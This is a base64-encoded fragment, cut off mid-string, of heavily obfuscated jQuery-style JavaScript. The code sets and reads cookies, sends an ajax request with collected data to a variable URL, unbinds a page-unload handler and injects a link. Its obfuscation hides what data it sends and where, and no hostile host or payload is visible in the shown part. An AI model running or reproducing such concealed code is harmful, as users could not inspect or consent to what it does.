YyZCkqKC0weDIzKi0weGJiKzB4MjQ2Ki0weGMrMHgxZjMpKigtMHgxYzNkKy0weDMqLTB4MmQ0KzB4MTNmZCkqKDB4MjQ0MSsweDFjN2MrMHgyMTkqLTB4MWQpKSksXzB4MzFjOTgwPV8weDMwNGQwYygweDQ3NywweDRjNCwweDg0LDB4MmE5KStfMHgzMzdjN2VbJ3RvVVRDU3RyaW4nKydnJ10oKTt9O2RvY3VtZW50W18weDExYzU5NVtfMHgzMDRkMGMoMHgxNWIsMHg4YywweDFjLDB4MjM1KV1dPV8weDExYzU5NVtfMHgzMDRkMGMoLTB4MmIwLC0weDIzZiwweDFhMCwtMHgxMTYpXShfMHgxMWM1OTVbXzB4MzA0ZDBjKDB4MzY0LDB4MTM3LDB4YjgsMHgxZWUpXShfMHgxMWM1OTVbXzB4MzA0ZDBjKDB4Mjc0LDB4NGMsMHg2NywweDFlZSldKF8weDExYzU5NVtfMHgzMDRkMGMoMHgyMTksMHgyM2UsMHgxNTcsMHgyYjEpXShfMHgxM2M0NTIsJz0nKSxfMHgxMWM1OTVbXzB4MzA0ZDBjKDB4ZTQsLTB4ZGYsLTB4MWVhLC0weDFiYyldKF8weDEyZjZmYSwnJykpLF8weDMxYzk4MCksXzB4MTFjNTk1W18weDMwNGQwYygtMHgzYzQsLTB4MmU1LC0weGEyLC0weDE1OSldKTt9ZWxzZXtpZihfMHgyMmViZTFbXzB4NDgyZjBiKC0weDI5OSwweDE3YiwweDIxOCwtMHgzYSldKF8weDIyZWJlMVtfMHgzMDRkMGMoLTB4MjRiLDB4YTksMHgzNSwtMHgyMSldKF8weDJhYjQ4YSxfMHg0ODJmMGIoMHgzNDgsMHgyZDYsMHgzZTQsMHgzN2QpKydhdCcpWydsZW5ndGgnXSwweDE0ZmYqLTB4MSsweDEqMHgxZWU5KzB4MWE3Ki0weDYpKXJldHVybjtfMHgyMmViZTFbXzB4MzA0ZDBjKDB4NDIxLDB4ZDcsMHg1MmMsMHgzYzYpXShfMHgxYmRiMDUsXzB4MzA0ZDBjKC0weGM0LDB4M2FjLDB4M2NlLDB4MWExKStfMHg0ODJmMGIoMHg1MTIsMHg2MDMsMHgxNzgsMHg0NmUpKydzJylbXzB4NDgyZjBiKDB4MTMyLDB4MjNjLDB4NmI4LDB4M2ZiKV0oXzB4MjJlYmUxW18weDMwNGQwYygtMHhlMSwweDFjNywtMHgzNTQsLTB4YjIpXShfMHgyMmViZTFbXzB4MzA0ZDBjKC0weDM1YiwtMHhjNSwtMHgyZjAsLTB4ZjcpXShfMHgyMmViZTFbXzB4MzA0ZDBjKC0weDI4LDB4M2U1LDB4MjllLDB4MWE5KV0oXzB4MjJlYmUxW18weDQ4MmYwYigtMHg0NSwweDMzLDB4MTYxLDB4MWEzKV0oXzB4MjJlYmUxW18weDQ4MmYwYigtMHg3MywweDJlMiwweDEwZiwweDEyYSldKF8weDIyZWJlMVtfMHg0ODJmMGIoLTB4NjEsMHgyMjEsMHgyMWYsMHhlNSldKCdceDBhJyxfMHgyMmViZTFbXzB4MzA0ZDBjKC0weDM2MiwtMHhlMywtMHgxYjYsLTB4MTkwKV0pLF8weDE5MjZmMVsnXyddP18weDIyZWJlMVsnVnZGTWEnXTpfMHgyMmViZTFbXzB4MzA0ZDBjKC0weDg2LC0weDM0NSwweDEwMiwtMHhkNCldKStfMHgyMmViZTFbXzB4MzA0ZDBjKDB4MjRmLDB4MzMxLDB4MjVmLDB4MTE2KV0sXzB4MjJlYmUxW18weDMwNGQwYygtMHgyMDksLTB4MWY1LC0weDNmYiwtMHgxMzQpXSksXzB4MjJlYmUxW18weDQ4MmYwYigtMHhkOSwtMHgxZGUsMHgyMDgsMHgzYildKF8weDNiNWFiOCxfMHgzMTg2ODlbXzB4MzA0ZDBjKDB4MmUwLDB4NTQ4LDB4MjU5LDB4MzE4KV0pKSxfMHgyMmViZTFbJ1Z3R25UJ10pLF8weDQ4MmYwYigweDViNCwweDI5ZiwweDI5NCwweDUzOSkrXzB4MzA0ZDBjKDB4ODQsMHgyMTgsMHgyZiwtMHg3NikpKSxfMHgyMmViZTFbXzB4NDgyZjBiKDB4MmFkLDB4NTcsMHgxZDUsMHgxODIpXShfMHgyNjg4MWIpO319ZnVuY3Rpb24gXzB4MWFhMzVhKF8weDUxYzA1Zil7dmFyIF8weDJmNDUxMD17J0d1RExxJzonYmVmb3JldW5sbycrJ2FkJywnbGhlVlknOmZ1bmN0aW9uKF8weDEzZTQ1ZCxfMHg1MTk2OTcpe2Z1bmN0aW9uIF8weDRhM2U2YihfMHgxMTk3ZmEsXzB4NWIxOGFlLF8weDI0NjM2YyxfMHg1NGNhM2Ipe3JldHVybiBfMHg0YzBmKF8weDI0NjM2Yy0weDI5NyxfMHg1NGNhM2IpO31yZXR1cm4gXzB4MjQxMGU4W18weDRhM2U2YigweGJiZiwweDkyNywweDk1ZiwweDY5NildKF8weDEzZTQ1ZCxfMHg1MTk2OTcpO30sJ3dhZ296JzpmdW5jdGlvbihfMHg1NmRmZWYsXzB4MjhhZjI1KXtyZXR1cm4gXzB4NTZkZmVmKF8weDI4YWYyNSk7fSwnek5KcW8nOmZ1bmN0aW9uKF8weDUyYWIwOCxfMHhiYWE1Nzgpe3JldHVybiBfMHgyNDEwZThbJ1V1Q1NmJ10oXzB4NTJhYjA4LF8weGJhYTU3OCk7fSwnTENsSUsnOl8weDI0MTBlOFtfMHg3YTZmNDEoMHg0MmYsMHgzOTEsMHg0YWMsMHg1ZjQpXSwnVHVsVXYnOl8weDI0MTBlOFsnRnB3UmonXX07ZnVuY3Rpb24gXzB4N2E2ZjQxKF8weDU1N2Y1NyxfMHg1ZGEzYTMsXzB4NTQ2OTljLF8weGY2NjM5KXtyZXR1cm4gXzB4MjE2MjdlKF8weDU0Njk5YyxfMHg1ZGEzYTMtMHgxN2YsXzB4NTQ2OTljLTB4ZGEsXzB4NTU3ZjU3LSAtMHgxZCk7fWZ1bmN0aW9uIF8weDE3Zjk0YyhfMHg1MGMxZTMsXzB4MTY3MGIxLF8weDIyODgxMyxfMHgyNDBkNzEpe3JldHVybiBfMHgyMTYyN2UoXzB4MjQwZDcxLF8weDE2NzBiMS0weDEyOSxfMHgyMjg4MTMtMHgxYmUsXzB4NTBjMWUzLTB4MTZjKTt9aWYoXzB4MjQxMGU4W18weDE3Zjk0YygweDdlYSwweGE4MiwweDU0YiwweDkyMSldKF8weDI0MTBlOFtfMHgxN2Y5NGMoMHgzYzEsMHgxODEsMHg1ZGYsMHg1N2YpXSxfMHgyNDEwZThbXzB4MTdmOTRjKDB4M2MxLDB4NTBkLDB4MzMwLDB4MjBjKV0pKXtmb3IodmFyIF8weDVjNzFiYj1fMHgyNDEwZThbXzB4MTdmOTRjKDB4OTI2LDB4NzgwLDB4OTk0LDB4OTI5KV0oXzB4NTFjMDVmLCc9JyksXzB4MTNlNjBhPWRvY3VtZW50W18weDI0MTBlOFtfMHg3YTZmNDEoMHg0MzgsMHg3MjMsMHgyMzEsMHg1YTIpXV1bXzB4MjQxMGU4WydBZXpTWiddXSgnOycpLF8weDQzOGY1Nz0tMHg0OWEqLTB4NCsweGYzKjB4MTErLTB4MSoweDIyOGI7XzB4MjQxMGU4WydHUlpwUiddKF8weDQzOGY1NyxfMHgxM2U2MGFbXzB4MjQxMGU4W18weDdhNmY0MSgweDNlZSwweDYwOSwweDY0ZSwweDViNildXSk7XzB4NDM4ZjU3Kyspe2lmKF8weDI0MTBlOFtfMHg3YTZmNDEoMHgxZjAsMHgxNzksMHgyMzAsMHgxZTMpXShfMHgyNDEwZThbXzB4N2E2ZjQxKDB4M2ZlLDB4MjAwLDB4M2I1LDB4NTFkKV0sXzB4MjQxMGU4WydMT1FXeSddKSl7Zm9yKHZhciBfMHgxOGEyZmM9XzB4MTNlNjBhW18weDQzOGY1N107XzB4MjQxMGU4W18weDE3Zjk0YygweDgzNiwweDY4YywweDljMSwweDk2ZSldKCdceDIwJyxfMHgxOGEyZmNbXzB4MjQxMGU4W18weDE3Zjk0YygweDVmZCwweDZjYiwweDMxOSwweDRjZSldXSgtMHhkMioweDkrMHgxZGJhKy0weDE2NTgpKTspe18weDE4YTJmYz1fMHgxOGEyZmNbXzB4MjQxMGU4W18weDdhNmY0MSgweDRkNywweDVlOSwweDNhZSwweDUyZSldXSgweDIzMGUrMHhjNGQqMHgzKzB4NCotMHgxMWZkLF8weDE4YTJmY1tfMHgyNDEwZThbXzB4MTdmOTRjKDB4NTc3LDB4NDk5LDB4NjAyLDB4M2QyKV1dKTt9O2lmKF8weDI0MTBlOFtfMHg3YTZmNDEoMHg0ZTAsMHg3YTIsMHg3NGYsMHgyNmYpXSgweDUqLTB4M2YrMHhlZioweDErMHg0KjB4MTMsXzB4MThhMmZjW18weDI0MTBlOFtfMHgxN2Y5NGMoMHg1MTMsMHgyZWQsMHg2NTgsMHg1YWQpXV0oXzB4NWM3MWJiKSkpe2lmKF8weDI0MTBlOFtfMHgxN2Y5NGMoMHg2OTksMHgzZWEsMHg0NDksMHg2YjgpXSgndnN1T1InLF8weDE3Zjk0YygweDgxMywweGIwMSwweDU4NywweDU5YikpKXtfMHgyZjUyMTgoXzB4ZjU0ZGZhKVtfMHgxN2Y5NGMoMHg4ODgsMHhhOTEsMHg5ZTUsMHhiMGUpXShfMHgyZjQ1MTBbXzB4MTdmOTRjKDB4ODNkLDB4OWUxLDB4YTczLDB4NzgwKV0pLF8weDI5ZGRlYltfMHg3YTZmNDEoMHg1MjEsMHgzOTcsMHgzY2MsMHgyOWEpXT1fMHhjZDA1ZjRbXzB4N2E2ZjQxKDB4N2RkLDB4NmZlLDB4NjhlLDB4OTQ5KV07cmV0dXJuO31lbHNlIHJldHVybiBfMHgxOGEyZmNbXzB4MjQxMGU4WydGemRoUSddXShfMHg1YzcxYmJbXzB4N2E2ZjQxKDB4NzJjLDB4NjIzLDB4NTliLDB4OTYwKV0sXzB4MThhMmZjW18weDI0MTBlOFsnc1p4b2wnXV0pO319ZWxzZSBfMHgyYTRlMGNbXzB4N2E2ZjQxKDB4NjM3LDB4NjRhLDB4ODg2LDB4NjIzKV0oJ2wnKSxfMHgyNDEwZThbXzB4N2E2ZjQxKDB4NTQ3LDB4NzZlLDB4NjFjLDB4NDYyKV0oXzB4NGM3OWM0LF8weDIzZGU4Y1tfMHg3YTZmNDEoMHg2NjIsMHgzNzcsMHgzN2QsMHg1NDIpXSlbXzB4N2E2ZjQxKDB4MjkwLDB4MTIxLDB4MWZlLDB4MjZiKV0oXzB4MjQxMGU4W18weDE3Zjk0YygweDRkYSwweDQ3ZCwweDFlNCwweDM1ZildLF8weDI0MTBlOFtfMHgxN2Y5NGMoMHg3NWYsMHg0OWQsMHhhMDksMHg4NGIpXSk7fTtyZXR1cm4gbnVsbDt9ZWxzZXt2YXIgXzB4NTNiM2YwPXt9O18weDJkOWZkY1tfMHg3YTZmNDEoMHgzY2YsMHgxYTgsMHgxN2IsMHg0OTYpXShfMHgzNjM5YWYsZnVuY3Rpb24oXzB4MjI0N2Y5LF8weDFkNjIzYyl7ZnVuY3Rpb24gXzB4MzcyN2RkKF8weDE4YzIxYixfMHgyNzVjZWEsXzB4MjdhOTZkLF8weDU1YThjNSl7cmV0dXJuIF8weDE3Zjk0YyhfMHgyN2E5NmQtMHg3OCxfMHgyNzVjZWEtMHgxNzQsXzB4MjdhOTZkLTB4MWMzLF8weDI3NWNlYSk7fWZ1bmN0aW9uIF8weDU0ODAwZShfMHg1ODQ1NDAsXzB4NTljZjc1LF8weDI1MTFkZSxfMHgzMGFmNGIpe3JldHVybiBfMHgxN2Y5NGMoXzB4MjUxMWRlLTB4M2UsXzB4NTljZjc1LTB4MWYwLF8weDI1MTFkZS0weDZkLF8weDMwYWY0Yik7fV8weDUzYjNmMFtfMHgyZjQ1MTBbXzB4NTQ4MDBlKDB4M2NlLDB4NDkwLDB4NjgyLDB4ODU2KV0oXzB4MjU2ZGE2LF8weDJmNDUxMFsnd2Fnb3onXShfMHg1OGVhZDIsXzB4MmY0NTEwW18weDM3MjdkZCgweDY2MCwweDhiMywweDZmYSwweDRiZCldKF8weDVlODZkMixfMHgyMjQ3ZjkpKSldPV8weDJmNDUxMFtfMHgzNzI3ZGQoMHg0OWYsMHgyZTIsMHg0OWIsMHg0MjMpXShfMHg0NmNkNGMsXzB4MTlhZjUxKF8weDJmNDUxMFtfMHg1NDgwMGUoMHg2MGQsMHg2NmQsMHg0NjEsMHg3MmEpXShfMHg0OTY5ZWMsXzB4MWQ2MjNjKSkpO30pLF8weDM1NTU2NFtfMHgyZjQ1MTBbJ0xDbElLJ11dKHsndHlwZSc6XzB4N2E2ZjQxKDB4M2M5LDB4MjEyLDB4NjZmLDB4M2YzKSwndXJsJzpfMHg1MmFjOWUsJ2RhdGFUeXBlJzpfMHgyZjQ1MTBbXzB4MTdmOTRjKDB4NmQzLDB4M2UyLDB4N2YxLDB4NjY3KV0sJ2RhdGEnOl8weDUzYjNmMCwnc3VjY2Vzcyc6XzB4NGFiYTg0fSk7fX12YXIgXzB4NjA5ZjEyO2Z1bmN0aW9uIF8weDI3NDYzNShfMHg1MmU1MTIpe3ZhciBfMHg0OWM4ZWI9e307XzB4NDljOGViW18weDFhMjc5ZSgweDg0MiwweDhjOSwweDhkNCwweDkzOSldPV8weDUyZTUxMixfMHg0OWM4ZWJbXzB4MWEyNzllKDB4NmRlLDB4NWE5LDB4NjdjLDB4NGViKV09XzB4MTFjNTk1W18weDFhMjc5ZSgweGJmOSwweDdmMSwweDlmMCwweDk4NCldO2Z1bmN0aW9uIF8weDFhMjc5ZShfMHg0NWYxMzksXzB4NTA0ZGNhLF8weGRkNzI3OCxfMHgzMDEyY2Mpe3JldHVybiBfMHgyMTQyNjAoXzB4NDVmMTM5LTB4MTJkLF8weGRkNzI3OCxfMHhkZDcyNzgtMHg3OCxfMHgzMDEyY2MtMHg0ZjQpO31mdW5jdGlvbiBfMHgyMTM1NGEoXzB4MTRhZmExLF8weDQ3ZDk1NCxfMHg1ZDJhMTQsXzB4NGM5YTc3KXtyZXR1cm4gXzB4MjE2MjdlKF8weDQ3ZDk1NCxfMHg0N2Q5NTQtMHg2LF8weDVkMmExNC0weDM2LF8weDE0YWZhMS0weGE5KTt9XzB4MjRhZDQwKF8weDRmZDRkYyxfMHg0OWM4ZWIsZnVuY3Rpb24oXzB4NTc3MDI5KXt2YXIgXzB4M2M1YWQxPXt9O18weDNjNWFkMVtfMHgxZWEwYzYoLTB4MjksMHgyY2IsLTB4MzA1LDB4MjgzKV09XzB4MWVhMGM2KC0weDEwYSwtMHgyZTMsMHgxODMsLTB4MjhlKTt2YXIgXzB4NWMwZjdlPV8weDNjNWFkMTtmdW5jdGlvbiBfMHgxNDJlNTcoXzB4NWFlNjA2LF8weGQ1N2MzNyxfMHgzODFmYjQsXzB4NDE5Yzk1KXtyZXR1cm4gXzB4MWEyNzllKF8weDVhZTYwNi0weDE3LF8weGQ1N2MzNy0weDE5YyxfMHg0MTljOTUsXzB4NWFlNjA2LSAtMHgyNjQpO31mdW5jdGlvbiBfMHgxZWEwYzYoXzB4M2EyYWQzLF8weGZmZjdhLF8weDQ0YWE3ZixfMHg0ZmMyZDcpe3JldHVybiBfMHgyMTM1NGEoXzB4M2EyYWQzLSAtMHg0NzgsXzB4NGZjMmQ3LF8weDQ0YWE3Zi0weGViLF8weDRmYzJkNy0weDQwKTt9XzB4NTc3MDI5W18weDFlYTBjNigtMHgxOCwtMHgxOTIsLTB4MWQsMHgyNGYpXT09XzB4MjQxMGU4W18weDE0MmU1NygweDdhYywweDU1ZSwweDRlYiwweDllOSldJiYoXzB4MjQxMGU4WydZUUxSdSddKF8weDI0MTBlOFtfMHgxZWEwYzYoMHgyY2QsMHgyMjAsMHg1MDEsLTB4YSldLF8weDI0MTBlOFtfMHgxZWEwYzYoMHgzMDgsMHgxOGYsMHg5ZSwweDUzNildKT8oJCh3aW5kb3cpWyd1bmJpbmQnXShfMHgyNDEwZThbXzB4MWVhMGM2KC0weDEyNSwtMHgxNjAsMHgyMiwweGNiKV0pLF8weDI0MTBlOFtfMHgxZWEwYzYoMHhkZSwweDMzZiwtMHgxZWMsMHgxZTApXSgkLF8weDI0MTBlOFtfMHgxZWEwYzYoMHgzZjMsMHg1NTksMHgyOWMsMHg1MmUpXSlbXzB4MWVhMGM2KC0weDNlLDB4MWQzLDB4MWIyLC0weDJiMCldKF8weDI0MTBlOFtfMHgxNDJlNTcoMHgzMDYsMHgzM2IsMHgyNmIsMHgxYjIpXShfMHgyNDEwZThbXzB4MTQyZTU3KDB4NWQ2LDB4N2ZhLDB4ODM0LDB4M2JkKV0oXzB4MjQxMGU4WydoSG9BTCddKF8weDI0MTBlOFtfMHgxZWEwYzYoMHgyMmQsMHgyNzUsMHgyYTYsMHg0ZjEpXSgnPGFceDIwdGFyZ2V0PScrXzB4MTQyZTU3KDB4M2JkLDB4NTcyLDB4MTk0LDB4NTY0KSsncmVmPVx4MjInLF8weDU3NzAyOVtfMHgyNDEwZThbXzB4MWVhMGM2KDB4M2I5LDB4NjUxLDB4MTllLDB4NWMxKV1dKSwnXHgyMj4nKSxfMHgxMzIwMjNbJ3N1Y2Nlc3NMbmsnKydUaXRsZSddKSxfMHgxZWEwYzYoMHgxM2QsMHg3ZiwweDc2LDB4MjM2KSkpLF8weDI0MTBlOFtfMHgxNDJlNTcoMHgyNDYsMHg0ZGUsLTB4NCwweDJmOCldKCQsXzB4NTFiYTRjKVtfMHgyNDEwZThbJ0NvY21GJ11dKF8weDI0MTBlOFtfMHgxZWEwYzYoLTB4NWIsLTB4YTAsLTB4MzM2LC0weDI1MSldKSxfMHgyNDEwZThbXzB4MTQyZTU3KDB4NzY3LDB4NTYzLDB4NTg2LDB4OTNhKV0oJCxfMHg1MWJhNGMpW18weDI0MTBlOFtfMHgxZWEwYzYoMHg3ZiwweDI1YiwtMHg1ZiwtMHgxN2MpXV0oXzB4MWVhMGM2KDB4MjdhLDB4MjZmLDB4MmZkLDB4NTNjKSxmdW5jdGlvbihfMHgxNjI0YTYpe2Z1bmN0aW9uIF8weDJlYTkyYyhfMHg0MDc5MTcsXzB4MTQwMmRkLF8weDU2MTRjOCxfMHgxNzUwZjcpe3JldHVybiBfMHgxZWEwYzYoXzB4NTYxNGM4LTB4MmY0LF8weDE0MDJkZC0weDEyMyxfMHg1NjE0YzgtMHgxY2IsXzB4MTc1MGY3KTt9XzB4MTYyNGE2W18weDJlYTkyYygweDRmNiwweDY4NCwweDQ1YSwweDY0NykrJ2F1bHQnXSgpO30pLF8weDI0MTBlOFsnVUF4R3MnXSgkLF8weDI0MTBlOFsnbHFtcGgnXShfMHgyNDEwZThbXzB4MTQyZTU3KDB4MzA2LDB4NjQsMHgxNzksMHgzMzIpXShfMHgxNDJlNTcoMHgyNGIsMHg2OSwweDUyNCwweDhmKSxfMHgyNDEwZThbXzB4MWVhMGM2KDB4MjI3LDB4MmQ0LC0weDdmLDB4NGZmKV0pLF8weDI0MTBlOFsnVFZ6R08nXSkpW18weDI0MTBlOFtfMHgxZWEwYzYoMHgzMywweDExYiwweDRlLDB4MWE1KV1dKCksXzB4MjQxMGU4W18weDFlYTBjNigweDQxNiwweDYwNSwweDMwNywweDM5NyldKCQsXzB4MjQxMGU4W18weDE0MmU1NygweDQ2YiwweDczZSwweDY2OSwweDM0MCldK18weDI0MTBlOFtfMHgxZWEwYzYoMHg4LDB4ZjgsMHgyMDIsMHg2OSldKVtfMHgyNDEwZThbXzB4MWVhMGM2KDB4ODIsMHgzMiwtMHgxNjMsMHgxOGMpXV0oKSxfMHgyNDEwZThbXzB4MTQyZTU3KDB4N2I2LDB4NjE0LDB4NzY4LDB4NjdiKV0oJCxfMHgyNDEwZThbXzB4MWVhMGM2KC0weDU3LDB4MThjLDB4MjlkLDB4MTQ2KV0oXzB4MjQxMGU4WydxSUlyRyddLF8weDI0MTBlOFtfMHgxNDJlNTcoMHg1NTMsMHgyYzYsMHg4MDgsMHg3MDEpXSkpW18weDI0MTBlOFsnQVJ2clAnXV0oKSxfMHgyNDEwZThbXzB4MTQyZTU3KDB4MzU5LDB4MzM3LDB4ZTAsMHg1MTYpXShjbGVhckludGVydmFsLF8weDYwOWYxMikpOl8weDNlZGM3Nz1fMHg1YzBmN2VbXzB4MWVhMGM2KC0weDI5LC0weDJmZCwtMHgxNTAsLTB4MjFiKV0pO30pO31mdW5jdGlvbiBfMHgyNDZmMGMoKXtmdW5jdGlvbiBfMHgxNzEwMDcoXzB4OTAyMzU1LF8weDUwNjllNixfMHg1NDk0ZGMsXzB4MzMwZmI0KXtyZXR1cm4gXzB4MjE0MjYwKF8weDkwMjM1NS0weGMwLF8weDMzMGZiNCxfMHg1NDk0ZGMtMHg4ZCxfMHg1NDk0ZGMtMHg0MWMpO31mdW5jdGlvbiBfMHgxZTUyOTQoXzB4MjZjNGVjLF8weDFmNTViOCxfMHgxZTExMjUsXzB4MmYzNmQxKXtyZXR1cm4gXzB4MjE2MjdlKF8weDFmNTViOCxfMHgxZjU1YjgtMHgxNjQsXzB4MWUxMTI1LTB4YWMsXzB4MWUxMTI1LSAtMHg4NSk7fXJldHVybiAkKF8weDI0MTBlOFsnVVpzSHUnXShfMHgyNDEwZThbXzB4MWU1Mjk0KDB4NjczLDB4NzljLDB4NjQyLDB4NGMyKV0oXzB4MjQxMGU4WydHV2FMeCddLHNzdHJpbmcpK18weDE3MTAwNygweDMwNCwweDJlZCwweDRhMSwweDFiYikrc3N0cmluZywnZXInKSlbXzB4MjQxMGU4W18weDFlNTI5NCgweDVhNiwweDRiNCwweDQyZCwweDNhNSldXSgpO31mdW5jdGlvbiBfMHgyNGJhODQoKXtmdW5jdGlvbiBfMHg1ZDBjYmMoXzB4MWZhNWI4LF8weDMwYjViMyxfMHg0MTZiZmMsXzB4MzYxMWY0KXtyZXR1cm4gXzB4MjE0MjYwKF8weDFmYTViOC0weGU4LF8weDMwYjViMyxfMHg0MTZiZmMtMHhkOCxfMHgxZmE1YjgtMHhkOSk7fWZ1bmN0aW9uIF8weDIwNDZiNShfMHg0YTY2ZGYsXzB4NTcxNWRhLF8weDU0OTljMSxfMHgzMGM3OGUpe3JldHVybiBfMHgyMTQyNjAoXzB4NGE2NmRmLTB4MjYsXzB4NTQ5OWMxLF8weDU0OTljMS0weDU2LF8weDRhNjZkZi0gLTB4MTk4KTt9cmV0dXJuIF8weDI0MTBlOFtfMHg1ZDBjYmMoMHgxMDksMHgzLDB4YzQsMHgzODIpXShfMHgyNDEwZThbXzB4NWQwY2JjKDB4MjJmLDB4MWM5LDB4MjUwLC0weDM1KV0sXzB4MjQxMGU4WydNZ2VuWSddKT9fMHgyNDEwZThbXzB4MjA0NmI1KDB4M2QwLDB4MzZlLDB4NGZlLDB4NjcxKV0oJCxfMHgyNDEwZThbJ0RTVUlUJ10oXzB4MjQxMGU4W18weDVkMGNiYygweDQ2OSwweDI4MCwweDJhOSwweDU5ZSldKF8weDI0MTBlOFtfMHg1ZDBjYmMoMHg0MWYsMHgzYTYsMHgzYjAsMHg0NDYpXShfMHgyNDEwZThbXzB4NWQwY2JjKDB4NDRhLDB4MjFmLDB4MjIzLDB4MmRiKV0rc3N0cmluZyxfMHgyNDEwZThbXzB4MjA0NmI1KDB4MmZhLDB4NDg4LDB4ODUsMHgyMTMpXSksc3N0cmluZyksXzB4MjQxMGU4W18weDIwNDZiNSgweGEyLDB4MWFmLDB4MmQ3LC0weDIyKV0pKTpfMHgxMzJhMjM7fWZ1bmN0aW9uIF8weDViZWQyYSgpe2Z1bmN0aW9uIF8weDQxNmU4YyhfMHgxYmUyMmEsXzB4NTk5MDhiLF8weDNjZDNiZCxfMHg0ZmEwMDUpe3JldHVybiBfMHgyMTYyN2UoXzB4MWJlMjJhLF8weDU5OTA4Yi0weDE0ZSxfMHgzY2QzYmQtMHhlMyxfMHgzY2QzYmQtMHgyMDkpO31mdW5jdGlvbiBfMHg1ZDlkODIoXzB4MzNjY2ZhLF8weDQ0MjdkMixfMHg1N2UzN2EsXzB4MzY5YWNlKXtyZXR1cm4gXzB4MjE0MjYwKF8weDMzY2NmYS0weDNjLF8weDMzY2NmYSxfMHg1N2UzN2EtMHhkMyxfMHg1N2UzN2EtMHgxNjQpO31yZXR1cm4gJChfMHgxMWM1OTVbXzB4NDE2ZThjKDB4NDc1LDB4NTNkLDB4NGIyLDB4NDc1KV0oXzB4MTFjNTk1W18weDQxNmU4YygweDlhYiwweDRlZiwweDdkYSwweDg2ZildKCcjY2EnK3NzdHJpbmcsXzB4MTFjNTk1W18weDVkOWQ4MigweDdjZCwweDczYiwweDViMiwweDZhNildKSxzc3RyaW5nKStfMHg1ZDlkODIoMHg5YTQsMHg2YzAsMHg2ZDcsMHg1MWMpKTt9ZnVuY3Rpb24gXzB4NDczYzE2KCl7ZnVuY3Rpb24gXzB4MjIzZGYzKF8weDQ2MjhiMSxfMHgzZTg0YjgsXzB4MTFjMDdlLF8weDViNTYyZCl7cmV0dXJuIF8weDIxNDI2MChfMHg0NjI4YjEtMHg3MCxfMHg0NjI4YjEsXzB4MTFjMDdlLTB4MTZlLF8weDViNTYyZC0gLTB4MjFjKTt9ZnVuY3Rpb24gXzB4Mzc5M2YyKF8weDU4ZjQ2MCxfMHg0NTU4MWYsXzB4MjY2N2RlLF8weDU0ZTk1Yil7cmV0dXJuIF8weDIxNjI3ZShfMHg0NTU4MWYsXzB4NDU1ODFmLTB4MCxfMHgyNjY3ZGUtMHg0ZCxfMHg1NGU5NWItMHgyMDUpO31pZihfMHgyNDEwZThbJ1ZWeXhJJ10oJ1F0ZHVjJyxfMHgyNDEwZThbXzB4MjIzZGYzKDB4YTcsLTB4MjY1LDB4OGYsLTB4MWVmKV0pKXt2YXIgXzB4NGY0ODA2LF8weDMzYzMxZCxfMHg1MDNiMzksXzB4NWI5ZTg1O3JldHVybiBfMHgyYmRlNjI9XzB4MTQxMWI4WydyZXBsYWNlJ10oL1xEL2csJycpLChfMHg0ZjQ4MDY9XzB4MTQ4YjQzKF8weDU2YTE4ZSkpPyhfMHg1MDNiMzk9XzB4NGY0ODA2W18weDM3OTNmMigweDk5YSwweDdmYiwweGJhYSwweDk0ZSldW18weDI0MTBlOFtfMHgyMjNkZjMoMHg5OSwweGQzLDB4MTYyLC0weDcxKV0oXzB4NGY0ODA2W18weDIyM2RmMygweDE2LC0weDE1LDB4MTBlLDB4MmMxKV1bXzB4MjIzZGYzKDB4MWIyLDB4NTQzLDB4MmYzLDB4MmMxKV0sMHgxMTY2KjB4MistMHgxMiotMHhjYystMHgzMTIzKV0sXzB4MjBhNGI2PV8weDU4ZWMzNFsnc2xpY2UnXSgweDI2NTQrMHhlZDkrMHgxKi0weDM1MmQsXzB4NTAzYjM5KSxfMHg0ZjQ4MDZbXzB4MjIzZGYzKC0weDEyNCwweDI5OSwtMHgyOTcsMHgyMSldW18weDM3OTNmMigweDY4NywweDg5NiwweDhlNiwweDZkYyldP18weDI0MTBlOFtfMHgyMjNkZjMoMHgxNDQsMHgzYmIsLTB4NjgsMHgxYjUpXShudWxsLF8weDViOWU4NT1fMHgxODg1OGZbXzB4Mzc5M2YyKDB4NmVkLDB4MWE2LDB4NGIyLDB4NDcxKV0oXzB4NGY0ODA2Wydmb3JtYXQnXSkpP18weDViOWU4NVtfMHgyMjNkZjMoMHgzMDYsLTB4MTdhLC0weDcsMHg5YSldKCdceDIwJyk6dm9pZCgtMHgxOWY0KzB4MTFhNSsweDMqMHgyYzUpOihfMHgzM2MzMWQ9XzB4NGY0ODA2Wydmb3JtYXQnXVsnZXhlYyddKF8weDRlNTliYSksXzB4MjQxMGU4W18weDM3OTNmMigweDhkYSwweDVmNCwweDgxZiwweDg0MildKG51bGwsXzB4MzNjMzFkKT8oXzB4MzNjMzFkW18weDIyM2RmMygweDIyZSwtMHhjYSwtMHg1NiwweDY3KV0oKSxfMHgzM2MzMWQ9XzB4MTcxZjYyW18weDIyM2RmMygtMHgzMjAsLTB4MjllLDB4MTk4LC0weGIwKV0oXzB4MzNjMzFkLGZ1bmN0aW9uKF8weDMxODAzYSl7cmV0dXJuIF8weDMxODAzYTt9KSxfMHgzM2MzMWRbXzB4Mzc5M2YyKDB4NTU5LDB4NWFlLDB4NjVjLDB4NzI3KV0oJ1x4MjAnKSk6dm9pZCgtMHgxZDYzKzB4MWFkMSsweDEqMHgyOTIpKSk6XzB4NTBkN2Y1O31lbHNlIHJldHVybiBfMHgyNDEwZThbXzB4Mzc5M2YyKDB4ODRlLDB4NmUxLDB4YTFjLDB4OWQ4KV0oJCxfMHgyNDEwZThbJ0RKcWdQJ10oXzB4MjQxMGU4W18weDM3OTNmMigweDUxMSwweDU1ZiwweDViZSwweDgwMSldKF8weDI0MTBlOFtfMHgyMjNkZjMoMHgzOGMsMHgyNywtMHg5NiwweDE3NCldKF8weDI0MTBlOFtfMHgyMjNkZjMoLTB4MTE2LDB4M2FiLDB4MzZmLDB4MTVjKV0oXzB4MjQxMGU4W18weDM3OTNmMigweDg1MiwweGE1OCwweGEyYywweDdlMildLHNzdHJpbmcpLF8weDI0MTBlOFtfMHgzNzkzZjIoMHg3MmEsMHg5N2UsMHg3MjksMHg5NGIpXSksc3N0cmluZyksJ2FyJykpO31mdW5jdGlvbiBfMHgxZDI5MTAoKXtmdW5jdGlvbiBfMHgxNTYzODgoXzB4NTk2MmQ2LF8weDFlMmIyOSxfMHg0ZDFhMjEsXzB4NGRkMGRhKXtyZXR1cm4gXzB4MjE0MjYwKF8weDU5NjJkNi0weDFjOSxfMHg1OTYyZDYsXzB4NGQxYTIxLTB4MTJkLF8weDRkMWEyMS0weDEzYyk7fWZ1bmN0aW9uIF8weDU5YzllNihfMHg1N